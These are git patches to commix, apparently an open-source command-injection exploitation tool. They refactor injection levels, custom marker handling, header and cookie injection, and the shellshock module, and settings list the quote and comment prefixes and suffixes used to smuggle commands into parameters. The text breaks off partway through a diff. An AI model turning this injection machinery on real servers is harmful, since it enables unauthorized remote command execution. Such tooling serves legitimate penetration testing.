4e3b11a6c3..53478261f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "71" +REVISION = "72" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -318,6 +318,7 @@ def sys_argv_errors(): # The wildcard character WILDCARD_CHAR = "*" +WILDCARD_CHAR_APPLIED = False # Testable parameter(s) - comma separated. TEST_PARAMETER = "" From 5fe78ccba17dc040a9c7690530bb5bf9cc59db06 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 27 May 2022 08:16:43 +0300 Subject: [PATCH 0149/1023] Trivial fixes and update --- src/core/injections/controller/checks.py | 16 +++++----- src/core/injections/controller/controller.py | 18 ++++++++---- src/core/main.py | 13 ++++---- src/core/modules/shellshock/shellshock.py | 31 ++++++++++++-------- src/core/requests/headers.py | 16 +++++----- src/core/requests/parameters.py | 4 +-- src/utils/settings.py | 9 +++--- 7 files changed, 61 insertions(+), 46 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6b190c4fc0..d8fd65c925 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -434,15 +434,15 @@ def check_injection_level(): cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) for cookie in cookies: if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = 2 + menu.options.level = settings.COOKIE_INJECTION_LEVEL elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = 2 + menu.options.level = settings.COOKIE_INJECTION_LEVEL # Checking testable HTTP headers for user-agent / referer / host if "user-agent" in menu.options.test_parameter or \ "referer" in menu.options.test_parameter or \ "host" in menu.options.test_parameter: - menu.options.level = 3 + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL """ Procced to the next attack vector. @@ -702,10 +702,10 @@ def check_CGI_scripts(url): _ = False for cgi_script in CGI_SCRIPTS: if cgi_script in url: - warn_msg = "The URL is probable to contain a script ('" + cgi_script + "') " - warn_msg += "vulnerable to shellshock. " + info_msg = "Heuristic (basic) tests shows that target URL might contain a script " + info_msg += "vulnerable to shellshock. " _ = True - print(settings.print_warning_msg(warn_msg)) + print(settings.print_bold_info_msg(info_msg)) while True: message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " shellshock_check = common.read_input(message, default="Y", check_batch=True) @@ -938,7 +938,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): if non_exist_param: non_exist_param = ",".join(non_exist_param).replace(" ","") non_exist_param = non_exist_param.split(",") - if menu.options.level >= 2 and \ + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: @@ -965,7 +965,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): warn_msg = "Skipping tests for " warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] - if menu.options.level >= 2 and header_name != "": + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": warn_msg += " not part of the " warn_msg += settings.HTTP_HEADER else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2638b15611..1462954750 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -44,19 +44,21 @@ Check for previously stored sessions. """ def check_for_stored_sessions(url, http_request_method): + if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if not menu.options.tech: settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): - settings.LOAD_SESSION = True + # settings.LOAD_SESSION = True return True """ Check for previously stored injection level. """ def check_for_stored_levels(url, http_request_method): + if not menu.options.ignore_session: if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: menu.options.level = session_handler.applied_levels(url, http_request_method) @@ -436,7 +438,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time """ def http_headers_injection(url, http_request_method, filename, timesec): # Disable Cookie Injection - settings.COOKIE_INJECTION = False + settings.COOKIE_INJECTION = None def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent @@ -735,6 +737,8 @@ def basic_level_checks(): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: + menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) if settings.PERFORM_BASIC_SCANS: @@ -754,7 +758,9 @@ def basic_level_checks(): else: post_request(url, http_request_method, filename, timesec) - if menu.options.level >= settings.COOKIE_INJECTION_LEVEL: + _ = menu.options.level + if _ >= settings.COOKIE_INJECTION_LEVEL: + menu.options.level = settings.COOKIE_INJECTION_LEVEL # Enable Cookie Injection if menu.options.cookie: cookie_injection(url, http_request_method, filename, timesec) @@ -762,8 +768,8 @@ def basic_level_checks(): warn_msg = "The HTTP Cookie header is not provided, " warn_msg += "so this test is going to be skipped." print(settings.print_warning_msg(warn_msg)) - - if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + if _ == settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL if settings.INJECTED_HTTP_HEADER == False : check_parameter = "" # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). @@ -827,7 +833,7 @@ def do_check(url, http_request_method, filename): if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " - if menu.options.level > 2: + if menu.options.level > settings.COOKIE_INJECTION_LEVEL: err_msg += "and HTTP headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell : diff --git a/src/core/main.py b/src/core/main.py index 5fb236ecdb..53611a5913 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -356,7 +356,7 @@ def main(filename, url): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Check injection level, due to the provided testable parameters. - if menu.options.level < 2 and menu.options.test_parameter != None: + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and menu.options.test_parameter != None: checks.check_injection_level() # Check if defined character used for splitting cookie values. @@ -725,20 +725,23 @@ def main(filename, url): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: + settings.USER_SUPPLIED_LEVEL = menu.options.level + # Define the level of tests to perform. - if menu.options.level == 1: + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) - elif menu.options.level == 2: + elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) - elif menu.options.level == 3: + elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) @@ -868,7 +871,7 @@ def main(filename, url): if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level - if menu.options.level > 3: + if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: menu.options.level = 1 init_injection(url) try: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index e684774cbc..4338b2b313 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -22,6 +22,10 @@ from src.core.injections.controller import checks default_user_agent = menu.options.agent +if menu.options.cookie: + if settings.INJECT_TAG in menu.options.cookie: + menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"") + default_cookie = menu.options.cookie """ This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI. @@ -30,18 +34,18 @@ """ if settings.MULTI_TARGETS or not settings.IS_TTY: - if settings.COOKIE_INJECTION == True: - settings.COOKIE_INJECTION = None - if settings.USER_AGENT_INJECTION == True: + if settings.USER_AGENT_INJECTION: settings.USER_AGENT_INJECTION = None - if settings.REFERER_INJECTION == True: + if settings.REFERER_INJECTION: settings.REFERER_INJECTION = None + if settings.COOKIE_INJECTION: + settings.COOKIE_INJECTION = None # Available HTTP headers headers = [ "User-Agent", "Referer", -"Cookie" +"Cookie", ] # Available Shellshock CVEs @@ -603,8 +607,8 @@ def shellshock_handler(url, http_request_method, filename): try: i = 0 total = len(shellshock_cves) * len(headers) - for cve in shellshock_cves: - for check_header in headers: + for check_header in headers: + for cve in shellshock_cves: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False @@ -619,9 +623,10 @@ def shellshock_handler(url, http_request_method, filename): debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) - header = {check_header : payload} request = _urllib.request.Request(url, None, header) + if check_header == "Cookie": + menu.options.cookie = payload if check_header == "User-Agent": menu.options.agent = payload log_http_headers.do_check(request) @@ -634,6 +639,8 @@ def shellshock_handler(url, http_request_method, filename): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == "Cookie": + menu.options.cookie = default_cookie if check_header == "User-Agent": menu.options.agent = default_user_agent percent = ((i*100)/total) @@ -676,14 +683,12 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - info_msg = "The (" + check_header + ") '" - info_msg += url + Style.RESET_ALL + Style.BRIGHT - info_msg += "' seems vulnerable via " + technique + "." + info_msg = "The " + check_header + " " + vuln_parameter + info_msg += " seems injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) - sub_content = "\"" + payload + "\"" - print(settings.print_sub_content(sub_content)) + print(settings.print_sub_content(payload)) # Enumeration options. if settings.ENUMERATION_DONE == True: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 0b3ba804fe..54d23d64aa 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -248,9 +248,9 @@ def https_open(self, req): """ def do_check(request): - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == None: - request.add_header(settings.HOST, menu.options.host) + # Check if defined any Cookie HTTP header. + if menu.options.cookie and settings.COOKIE_INJECTION == None: + request.add_header(settings.COOKIE, menu.options.cookie) # Check if defined any User-Agent HTTP header. if menu.options.agent and settings.USER_AGENT_INJECTION == None: @@ -259,11 +259,11 @@ def do_check(request): # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == None: request.add_header(settings.REFERER, menu.options.referer) - - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - request.add_header(settings.COOKIE, menu.options.cookie) - + + # Check if defined any Host HTTP header. + if menu.options.host and settings.HOST_INJECTION == None: + request.add_header(settings.HOST, menu.options.host) + if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 584449586f..3bab67ed60 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -42,9 +42,9 @@ def do_GET_check(url, http_request_method): # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: - if menu.options.level == 3 or menu.options.header or menu.options.headers: + if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers: return False - if menu.options.level == 2 : + if menu.options.level == settings.COOKIE_INJECTION_LEVEL : return False else: err_msg = "No parameter(s) found for testing on the provided target URL. " diff --git a/src/utils/settings.py b/src/utils/settings.py index 53478261f9..4c7b2a01ba 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "72" +REVISION = "73" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -414,13 +414,13 @@ def sys_argv_errors(): PREFIXES = [] PREFIXES_LVL1 = [""] PREFIXES_LVL2 = SEPARATORS_LVL1 -PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 +PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] # The command injection suffixes. SUFFIXES = [] SUFFIXES_LVL1 = DEFAULT_SEPARATORS SUFFIXES_LVL2 = SEPARATORS_LVL1 -SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] @@ -462,6 +462,7 @@ def sys_argv_errors(): DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 +USER_SUPPLIED_LEVEL = DEFAULT_INJECTION_LEVEL PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -610,7 +611,7 @@ def sys_argv_errors(): TOR_HTTP_PROXY_SCHEME = "https" # Cookie injection -COOKIE_INJECTION = False +COOKIE_INJECTION = None # User-Agent injection USER_AGENT_INJECTION = None From ac03b68d2886b7ad042fce7a9a5feebdf5caf0fc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 1 Jun 2022 07:29:49 +0300 Subject: [PATCH 0150/1023] Improvement regarding identifying injection marker (i.e. asterisk) in provided options. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 - src/core/injections/controller/controller.py | 5 +- src/core/main.py | 80 +++++++++++++++++--- src/utils/settings.py | 2 +- 5 files changed, 75 insertions(+), 15 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7e842e4568..7f1c8627af 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. stdin). * Added: New option `--answers` to set user answers to asked questions during commix run. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d8fd65c925..51b5cff259 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -910,8 +910,6 @@ def wildcard_character(data): _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) err_msg = "You specified more than one injecton markers. " err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1462954750..72906786d9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -51,7 +51,8 @@ def check_for_stored_sessions(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): - # settings.LOAD_SESSION = True + if not settings.MULTI_TARGETS or settings.IS_TTY: + settings.LOAD_SESSION = True return True """ @@ -737,7 +738,7 @@ def basic_level_checks(): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) diff --git a/src/core/main.py b/src/core/main.py index 53611a5913..43c7ec91df 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -33,6 +33,7 @@ from src.utils import install from src.utils import crawler from src.utils import settings +from src.core.requests import parameters from src.utils import session_handler from src.utils import simple_http_server from src.thirdparty.colorama import Fore, Back, Style, init @@ -316,15 +317,73 @@ def main(filename, url): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if menu.options.header is not None and settings.INJECT_TAG in menu.options.header or \ - menu.options.headers is not None and settings.INJECT_TAG in menu.options.headers: - info_msg = "Injection marker found in option '--header(s)/--user-agent/--referer/--cookie'." - print(settings.print_info_msg(info_msg)) - if menu.options.test_parameter: - err_msg = "The options '-p' and the injection marker cannot be used " - err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit + if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY: + settings.WILDCARD_CHAR_APPLIED = False + + parameter = "" + if menu.options.url and settings.WILDCARD_CHAR in menu.options.url: + option = "'-u'" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_GET_check(menu.options.url, http_request_method) + parameter = parameters.vuln_GET_param(parameter[0]) + elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + option = "POST body" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_POST_check(menu.options.data, http_request_method) + if len(parameter) == 0: + parameter = parameter[0] + parameter = parameters.vuln_POST_param(parameter, url="") + else: + option = "option '--headers/--user-agent/--referer/--cookie'" + if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.COOKIE_INJECTION_LEVEL + cookie = parameters.do_cookie_check(menu.options.cookie) + parameter = parameters.specify_cookie_parameter(cookie) + + elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "user-agent" + + elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "referer" + + elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: + _ = True + for data in menu.options.headers.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT): + _ = False + if _: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) + + if menu.options.test_parameter and settings.WILDCARD_CHAR_APPLIED: + err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + + if settings.WILDCARD_CHAR_APPLIED: + while True: + message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message += "Do you want to process it? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + menu.options.test_parameter = parameter + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: @@ -356,7 +415,8 @@ def main(filename, url): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Check injection level, due to the provided testable parameters. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and menu.options.test_parameter != None: + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ + menu.options.test_parameter != None: checks.check_injection_level() # Check if defined character used for splitting cookie values. diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c7b2a01ba..af95d1fba3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "73" +REVISION = "74" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7d0c36dc2b0c875efedfc415998c4669d25ba08a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 2 Jun 2022 07:53:44 +0300 Subject: [PATCH 0151/1023] Minor fixes / updates --- src/core/injections/controller/checks.py | 65 ++++-- src/core/injections/controller/controller.py | 9 +- src/core/injections/controller/parser.py | 7 +- src/core/main.py | 196 +++++++++---------- src/core/requests/headers.py | 3 +- src/core/requests/parameters.py | 3 +- src/utils/settings.py | 2 +- 7 files changed, 158 insertions(+), 127 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 51b5cff259..a4d8d715ff 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -75,6 +75,44 @@ def mobile_user_agents(): print(settings.print_error_msg(err_msg)) pass +""" +The available mobile user agents. +""" +def mobile_user_agents(): + menu.mobile_user_agents() + while True: + message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " + mobile_user_agent = common.read_input(message, default="1", check_batch=True) + try: + if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): + return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] + elif mobile_user_agent.lower() == "q": + raise SystemExit() + else: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + except ValueError: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + +""" +Check for HTTP Method +""" +def check_http_method(url): + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + settings.WILDCARD_CHAR in url or \ + settings.INJECT_TAG in url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + return http_request_method + """ User aborted procedure """ @@ -901,19 +939,20 @@ def enable_all_enumeration_options(): if the wildcard char is provided. """ def wildcard_character(data): - _ = "" - for data in data.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - settings.WILDCARD_CHAR_APPLIED = True - _ = _ + data + "\\n" - data = _.rstrip("\\n") - if data.count(settings.INJECT_TAG) > 1: - err_msg = "You specified more than one injecton markers. " - err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if settings.WILDCARD_CHAR_APPLIED != None: + _ = "" + for data in data.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : + data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) + settings.WILDCARD_CHAR_APPLIED = True + _ = _ + data + "\\n" + data = _.rstrip("\\n") + if data.count(settings.INJECT_TAG) > 1: + err_msg = "You specified more than one injecton markers. " + err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() return data """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 72906786d9..4210fd607c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -158,7 +158,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + if inject_http_headers: + data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + else: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) @@ -166,7 +169,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -738,7 +741,7 @@ def basic_level_checks(): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.WILDCARD_CHAR_APPLIED != True: menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 91ab8f6b5d..f06e8b04be 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -118,8 +118,8 @@ def invalid_data(request): request_url = re.findall(r"" + " (.*) HTTP/", request) if request_url: - # Check last line for POST data - if len(request.splitlines()[-1]) != 0: + # Check empty line for POST data. + if len(request.splitlines()[-2]) == 0: result = [item for item in request.splitlines() if item] multiple_xml = [] for item in result: @@ -194,8 +194,7 @@ def invalid_data(request): else: menu.options.url = prefix + menu.options.host + request_url if single_request: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) diff --git a/src/core/main.py b/src/core/main.py index 43c7ec91df..2613efc0cb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -61,24 +61,74 @@ init() """ -Check for HTTP Method +Check for custom injection marker (*) """ -def check_http_method(url): - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() +def check_custom_injection_marker(url): + + parameter = "" + if url and settings.WILDCARD_CHAR in url: + option = "'-u'" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_GET_check(url, http_request_method) + parameter = parameters.vuln_GET_param(parameter[0]) + elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + option = "POST body" + settings.WILDCARD_CHAR_APPLIED = True + parameter = parameters.do_POST_check(menu.options.data, http_request_method) + parameter = parameters.vuln_POST_param(parameter, url) else: - if not menu.options.data or \ - not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in url or \ - settings.INJECT_TAG in url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: - http_request_method = settings.HTTPMETHOD.POST + option = "option '--headers/--user-agent/--referer/--cookie'" + if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.COOKIE_INJECTION_LEVEL + cookie = parameters.do_cookie_check(menu.options.cookie) + parameter = parameters.specify_cookie_parameter(cookie) - if menu.options.offline: - settings.CHECK_FOR_UPDATES_ON_START = False + elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: + 